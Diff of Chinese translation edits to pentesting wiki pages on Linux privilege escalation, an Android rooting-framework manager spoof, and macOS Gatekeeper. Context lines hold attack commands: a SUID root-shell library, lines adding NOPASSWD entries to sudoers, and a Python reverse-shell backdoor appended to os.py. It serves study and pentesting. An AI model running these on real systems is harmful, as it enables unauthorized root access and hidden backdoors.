#include <stdlib.h>
|
||||
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
最后,运行受影响的 SUID 二进制文件应该触发漏洞,从而可能导致系统被攻陷。
|
||||
最后,运行受影响的 SUID 二进制文件应该会触发漏洞,从而可能导致系统被攻陷。
|
||||
|
||||
## 共享对象劫持
|
||||
```bash
|
||||
@ -892,7 +892,7 @@ system("/bin/bash -p");
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。
|
||||
[**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的情况。
|
||||
|
||||
该项目收集了可以被滥用的 Unix 二进制文件的合法功能,以打破受限的 shell,提升或维持提升的权限,传输文件,生成绑定和反向 shell,并促进其他后期利用任务。
|
||||
|
||||
@ -919,12 +919,12 @@ https://gtfoargs.github.io/
|
||||
|
||||
提升权限的要求:
|
||||
|
||||
- 您已经作为用户 "_sampleuser_" 拥有一个 shell
|
||||
- 您已经以用户 "_sampleuser_" 拥有一个 shell
|
||||
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
|
||||
- `gdb` 可访问(您可以上传它)
|
||||
|
||||
(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 暂时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`)
|
||||
(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
如果满足所有这些要求,**您可以使用以下方法提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
@ -959,7 +959,7 @@ sudo su
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
如果你会写代码,你就可以滥用这个权限。
|
||||
如果你会写,你就可以滥用这个权限。
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
|
||||
|
||||
如果你知道一个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限,并且你在该用户上下文中获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件将以 root 身份执行你的代码,然后执行用户的命令。然后,**修改用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,你的 sudo 可执行文件就会被执行。
|
||||
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。
|
||||
|
||||
或者运行类似的命令:
|
||||
```bash
|
||||
@ -1006,7 +1006,7 @@ sudo ls
|
||||
|
||||
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。
|
||||
|
||||
如果由于某种原因 **用户对任何指示的路径具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
|
||||
如果出于某种原因 **用户对任何指示的路径具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
|
||||
请查看 **如何利用此错误配置** 在以下页面:
|
||||
|
||||
{{#ref}}
|
||||
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
通过将库复制到 `/var/tmp/flag15/`,它将被程序在此位置使用,如 `RPATH` 变量中指定的那样。
|
||||
通过将库复制到 `/var/tmp/flag15/`,程序将在此位置使用它,如 `RPATH` 变量中指定的那样。
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1048,7 +1048,7 @@ execve(file,argv,0);
|
||||
```
|
||||
## Capabilities
|
||||
|
||||
Linux capabilities 提供了 **可用根权限的子集给一个进程**。这有效地将根 **权限分解为更小且独特的单元**。每个单元可以独立授予给进程。通过这种方式,完整的权限集被减少,从而降低了被利用的风险。\
|
||||
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
|
||||
阅读以下页面以**了解更多关于能力及其滥用的方法**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1057,14 +1057,14 @@ linux-capabilities.md
|
||||
|
||||
## Directory permissions
|
||||
|
||||
在一个目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\
|
||||
**“读取”**位意味着用户可以 **列出** **文件**,而 **“写入”**位意味着用户可以 **删除** 和 **创建** 新的 **文件**。
|
||||
在目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\
|
||||
**“读取”**位意味着用户可以**列出**文件,而**“写入”**位意味着用户可以**删除**和**创建**新**文件**。
|
||||
|
||||
## ACLs
|
||||
|
||||
访问控制列表 (ACLs) 代表了可自由裁量权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
|
||||
访问控制列表(ACLs)代表了可自由裁量权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
|
||||
|
||||
**给予** 用户 "kali" 对一个文件的读取和写入权限:
|
||||
**给予**用户“kali”对文件的读取和写入权限:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## 打开 shell 会话
|
||||
|
||||
在 **旧版本** 中,您可以 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\
|
||||
在 **最新版本** 中,您只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
|
||||
在 **最新版本** 中,您只能 **连接** 到 **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
|
||||
|
||||
### 屏幕会话劫持
|
||||
|
||||
@ -1124,7 +1124,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166
|
||||
|
||||
在 2006 年 9 月到 2008 年 5 月 13 日之间生成的所有 Debian 基于系统(Ubuntu、Kubuntu 等)的 SSL 和 SSH 密钥可能受到此漏洞的影响。\
|
||||
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH 有趣的配置值
|
||||
|
||||
@ -1147,7 +1147,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
该配置将指示如果您尝试使用用户“**testusername**”的**私钥**登录,ssh将比较您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥。
|
||||
该配置将指示,如果您尝试使用用户“**testusername**”的**私钥**登录,ssh将比较您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥。
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
@ -1161,7 +1161,7 @@ ForwardAgent yes
|
||||
注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一项安全问题)。
|
||||
|
||||
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
|
||||
文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。
|
||||
文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。
|
||||
|
||||
如果您发现在某个环境中配置了 Forward Agent,请阅读以下页面,因为 **您可能能够利用它来提升权限**:
|
||||
|
||||
@ -1177,7 +1177,7 @@ ssh-forward-agent-exploitation.md
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
如果发现任何奇怪的配置文件,您应该检查其中是否包含**敏感细节**。
|
||||
如果发现任何奇怪的配置文件脚本,您应该检查其中是否包含**敏感细节**。
|
||||
|
||||
### Passwd/Shadow 文件
|
||||
|
||||
@ -1216,7 +1216,7 @@ su - dummy
|
||||
```
|
||||
注意:在BSD平台上,`/etc/passwd`位于`/etc/pwd.db`和`/etc/master.passwd`,同时`/etc/shadow`被重命名为`/etc/spwd.db`。
|
||||
|
||||
您应该检查是否可以**写入某些敏感文件**。例如,您能否写入某些**服务配置文件**?
|
||||
你应该检查是否可以**写入一些敏感文件**。例如,你能否写入某个**服务配置文件**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
@ -1312,14 +1312,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
您还应该检查包含“**password**”一词的文件,无论是在**名称**中还是在**内容**中,并检查日志中的IP和电子邮件,或哈希正则表达式。\
|
||||
您还应该检查包含“**password**”的文件,无论是在**名称**中还是在**内容**中,并检查日志中的IP和电子邮件,或哈希正则表达式。\
|
||||
我不会在这里列出如何做到这一切,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。
|
||||
|
||||
## Writable files
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
如果您知道**从哪里**将执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。
|
||||
如果您知道**从哪里**将要执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。
|
||||
|
||||
要**对库进行后门**,只需在os.py库的末尾添加以下行(更改IP和端口):
|
||||
```python
|
||||
@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。
|
||||
|
||||
此漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 日志)** 非常相似,因此每当您发现可以更改日志时,请检查谁在管理这些日志,并检查是否可以通过符号链接提升权限。
|
||||
此漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 日志)** 非常相似,因此每当您发现可以更改日志时,请检查谁在管理这些日志,并检查是否可以通过符号链接提升权限。
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)进行 \~sourced\~。
|
||||
|
||||
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
|
||||
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后面的部分。这意味着 **第一个空格后面的所有内容都以 root 身份执行**。
|
||||
|
||||
例如: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,11 +1356,11 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd 和 rc.d**
|
||||
|
||||
目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 所在地,这是 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些脚本可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`。
|
||||
目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 的家,**经典的 Linux 服务管理系统**。它包括用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`。
|
||||
|
||||
另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起使用。
|
||||
另一方面,`/etc/init` 与 **Upstart** 相关,这是 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起使用。
|
||||
|
||||
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。
|
||||
**systemd** 作为现代初始化和服务管理器出现,提供了按需守护进程启动、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。
|
||||
|
||||
## 其他技巧
|
||||
|
||||
@ -1397,13 +1397,13 @@ cisco-vmanage.md
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 选项)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Unix 权限提升检查:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux 权限检查器:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**Unix 权限提升检查:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux 权限检查器:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** 在 Linux 和 MAC 中枚举内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## 参考文献
|
||||
@ -1428,7 +1428,7 @@ cisco-vmanage.md
|
||||
|
||||
## Android Rooting 框架:管理者通道滥用
|
||||
|
||||
Android Rooting 框架通常会钩住一个系统调用,以向用户空间管理器暴露特权内核功能。弱管理者身份验证(例如,基于 FD 顺序的签名检查或不良密码方案)可以使本地应用程序冒充管理者,并在已经获得 root 权限的设备上提升到 root。了解更多和利用细节:
|
||||
Android Rooting 框架通常会钩住一个系统调用,以向用户空间管理器暴露特权内核功能。弱管理者身份验证(例如,基于 FD 顺序的签名检查或不良密码方案)可以使本地应用程序冒充管理者并在已获得 root 权限的设备上提升到 root。了解更多信息和利用细节:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
像 KernelSU、APatch、SKRoot 和 Magisk 这样的 Root 框架经常会修补 Linux/Android 内核,并通过挂钩的系统调用向特权用户空间“管理”应用程序暴露特权功能。如果管理身份验证步骤存在缺陷,任何本地应用程序都可以访问此通道并在已经获得 root 权限的设备上提升特权。
|
||||
像 KernelSU、APatch、SKRoot 和 Magisk 这样的 Rooting 框架经常会修补 Linux/Android 内核,并通过挂钩的系统调用向特权用户空间“管理”应用程序暴露特权功能。如果管理身份验证步骤存在缺陷,任何本地应用程序都可以访问此通道,并在已经获得 root 权限的设备上提升特权。
|
||||
|
||||
本页面抽象了公共研究中发现的技术和陷阱(特别是 Zimperium 对 KernelSU v0.5.7 的分析),以帮助红队和蓝队理解攻击面、利用原语和稳健的缓解措施。
|
||||
本页抽象了公共研究中发现的技术和陷阱(特别是 Zimperium 对 KernelSU v0.5.7 的分析),以帮助红队和蓝队理解攻击面、利用原语和稳健的缓解措施。
|
||||
|
||||
---
|
||||
## 架构模式:挂钩的系统调用管理通道
|
||||
@ -42,7 +42,7 @@
|
||||
- 解析 APK v2 签名并与官方管理证书进行验证。
|
||||
- 参考:manager.c(遍历 FDs),apk_sign.c(APK v2 验证)。
|
||||
|
||||
如果所有检查通过,内核会暂时缓存管理者的 UID,并接受来自该 UID 的特权命令,直到重置。
|
||||
如果所有检查都通过,内核会暂时缓存管理者的 UID,并接受来自该 UID 的特权命令,直到重置。
|
||||
|
||||
---
|
||||
## 漏洞类别:信任“第一个匹配的 APK”来自 FD 迭代
|
||||
@ -59,7 +59,7 @@
|
||||
---
|
||||
## 攻击前提条件
|
||||
|
||||
- 设备已经被一个易受攻击的 Root 框架(例如,KernelSU v0.5.7)获得 root 权限。
|
||||
- 设备已经被一个易受攻击的 Rooting 框架(例如,KernelSU v0.5.7)获得 root 权限。
|
||||
- 攻击者可以在本地运行任意非特权代码(Android 应用程序进程)。
|
||||
- 真实的管理者尚未进行身份验证(例如,在重启后)。一些框架在成功后缓存管理者 UID;你必须赢得这场竞赛。
|
||||
|
||||
@ -68,12 +68,12 @@
|
||||
|
||||
高层步骤:
|
||||
1) 构建一个有效的路径到你自己的应用数据目录,以满足前缀和所有权检查。
|
||||
2) 确保一个真正的 KernelSU 管理 base.apk 在一个低编号的 FD 上打开,低于你自己的 base.apk。
|
||||
2) 确保一个真实的 KernelSU 管理者 base.apk 在一个低编号的 FD 上打开,低于你自己的 base.apk。
|
||||
3) 调用 prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) 以通过检查。
|
||||
4) 发出特权命令,如 CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY 以保持提升。
|
||||
|
||||
关于步骤 2(FD 排序)的实用说明:
|
||||
- 通过遍历 /proc/self/fd 符号链接来识别你自己的 /data/app/*/base.apk 的 FD。
|
||||
- 通过遍历 /proc/self/fd 符号链接来识别你自己 /data/app/*/base.apk 的进程 FD。
|
||||
- 关闭一个低 FD(例如,stdin,fd 0),并首先打开合法的管理 APK,以便它占据 fd 0(或任何低于你自己 base.apk fd 的索引)。
|
||||
- 将合法的管理 APK 与你的应用捆绑,以便其路径满足内核的简单过滤器。例如,将其放在匹配 /data/app/*/base.apk 的子路径下。
|
||||
|
||||
@ -154,7 +154,7 @@ return (int)result;
|
||||
- 将身份验证绑定到调用者的包/UID,而不是任意FD:
|
||||
- 从UID解析调用者的包,并通过PackageManager验证与已安装包的签名,而不是扫描FD。
|
||||
- 如果仅限于内核,使用稳定的调用者身份(任务凭证),并在init/userspace助手管理的稳定真实来源上进行验证,而不是进程FD。
|
||||
- 避免将路径前缀检查作为身份;它们可以被调用者轻松满足。
|
||||
- 避免将路径前缀检查作为身份;调用者可以轻易满足这些条件。
|
||||
- 在通道上使用基于随机数的挑战-响应,并在启动或关键事件时清除任何缓存的管理器身份。
|
||||
- 在可行的情况下,考虑基于binder的认证IPC,而不是重载通用系统调用。
|
||||
|
||||
@ -172,7 +172,7 @@ return (int)result;
|
||||
|
||||
- 基于密码的身份验证(例如,历史APatch/SKRoot构建)如果密码可猜测/暴力破解或验证存在缺陷,可能会很弱。
|
||||
- 基于包/签名的身份验证(例如,KernelSU)原则上更强,但必须绑定到实际调用者,而不是像FD扫描这样的间接伪影。
|
||||
- Magisk:CVE-2024-48336(MagiskEoP)显示,即使成熟的生态系统也可能容易受到身份欺骗,导致在管理器上下文中执行代码。
|
||||
- Magisk:CVE-2024-48336(MagiskEoP)显示,即使是成熟的生态系统也可能容易受到身份欺骗,导致在管理器上下文中执行代码。
|
||||
|
||||
---
|
||||
## 参考文献
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证软件** 来实现这一点,用户下载并尝试从 **App Store 以外的来源** 打开软件,例如应用程序、插件或安装包。
|
||||
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证用户下载并尝试从 App Store 以外的来源打开的软件** 来实现,例如应用程序、插件或安装包。
|
||||
|
||||
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确保其不含已知的恶意内容,并且在公证后未被篡改。
|
||||
|
||||
此外,Gatekeeper 通过 **提示用户批准首次打开** 下载的软件来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,而将其误认为无害的数据文件。
|
||||
此外,Gatekeeper 通过 **提示用户首次批准打开** 下载的软件来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,这些代码可能被误认为是无害的数据文件。
|
||||
|
||||
### 应用程序签名
|
||||
|
||||
@ -16,8 +16,8 @@ Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件
|
||||
|
||||
其工作原理如下:
|
||||
|
||||
1. **签名应用程序:** 当开发者准备分发其应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
|
||||
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发给用户,该证书包含相应的公钥。
|
||||
1. **签名应用程序:** 当开发者准备分发他们的应用程序时,他们 **使用私钥签名应用程序**。此私钥与 Apple 在开发者注册 Apple Developer Program 时向开发者颁发的 **证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
|
||||
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发,该证书包含相应的公钥。
|
||||
3. **验证应用程序:** 当用户下载并尝试运行该应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许该应用程序运行。
|
||||
|
||||
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序** 时,Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者颁发的证书签名,并且代码未被篡改,Gatekeeper 允许该应用程序运行。否则,它会阻止该应用程序并提醒用户。
|
||||
@ -26,7 +26,7 @@ Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件
|
||||
|
||||
#### 检查签名
|
||||
|
||||
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名** 的 **开发者** 可能已经 **与恶意软件相关**。
|
||||
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名的开发者** 可能已经 **与恶意软件相关**。
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
@ -45,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不同。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查 **恶意内容** 和任何潜在的代码签名问题。
|
||||
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不应混淆。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查 **恶意内容** 和任何潜在的代码签名问题。
|
||||
|
||||
如果软件 **通过** 了这次检查而没有引发任何问题,Notary Service 会生成一个 notarization ticket。开发者需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization ticket 还会在线发布,Gatekeeper(苹果的安全技术)可以访问它。
|
||||
如果软件 **通过** 了这次检查而没有引发任何问题,Notary Service 会生成一个 notarization ticket。开发者随后需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization ticket 还会在线发布,Gatekeeper,苹果的安全技术,可以访问它。
|
||||
|
||||
在用户首次安装或执行软件时,notarization ticket 的存在——无论是附加在可执行文件上还是在线找到——**通知 Gatekeeper 该软件已由苹果进行 notarization**。因此,Gatekeeper 在初始启动对话框中显示描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
||||
在用户首次安装或执行软件时,notarization ticket 的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此,Gatekeeper 在初始启动对话框中显示描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
@ -62,7 +62,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
spctl --status
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意,GateKeeper 签名检查仅对 **具有隔离属性的文件** 进行,而不是对每个文件进行检查。
|
||||
> 注意,GateKeeper 签名检查仅对 **具有隔离属性的文件** 进行,而不是对每个文件进行。
|
||||
|
||||
GateKeeper 将检查根据 **首选项和签名** 二进制文件是否可以执行:
|
